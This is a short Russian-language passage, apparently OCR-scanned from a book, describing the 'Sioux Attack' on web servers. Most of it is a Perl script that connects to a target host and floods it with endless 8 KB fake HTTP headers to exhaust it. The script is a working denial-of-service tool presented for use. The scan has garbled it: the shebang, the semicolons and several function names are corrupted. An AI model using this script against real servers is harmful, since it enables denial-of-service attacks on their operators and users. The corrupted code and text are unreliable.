Sioux Attack (первая программа, демонстрирующая эту атаку, посылала 10 000 заголовков <User-Agent:
siouxrn>>). Вот пример скрипта на peri, реализующего атаку путем формирования потока фиктивных
заголовков размером 8 Кб каждый: ff!/usr/bin/perl -w use Socket:
ц Usage : $0 host [port [max] ] $max= 0; if ($ARGV[2]) {
$max= $ARGV[2]: }
$proto = getprotobynameC top' ); socket(Socket_Handle, PF_INET,
SOCK_STREAM, $proto): Sport = 80: if ($ARGV[1])
{
$port= $ARGV[1]: }
$host=$ARGV[0]: $sin = sockaddr_in($port, inet_aton($host) );
connect(Socket_Handle,$sin); send Socket_Handle, "GET/ HTTP/I .0n"
,0; $val=('z'x8192)."n": $n=1: $l=1: while (Socket_Handle) {
send Socket_Handle, "Stupidheader$n: ",0: sendSocket_Handle,$val,0;
$n++:
if(!($n%100)) {
print "$nn"; }
if ($max && ($n > $max)) {
last; } }
print "Done: $nn"; send Socket_Handle,"n",0;
while <Socket_Handle>) {
print $_; }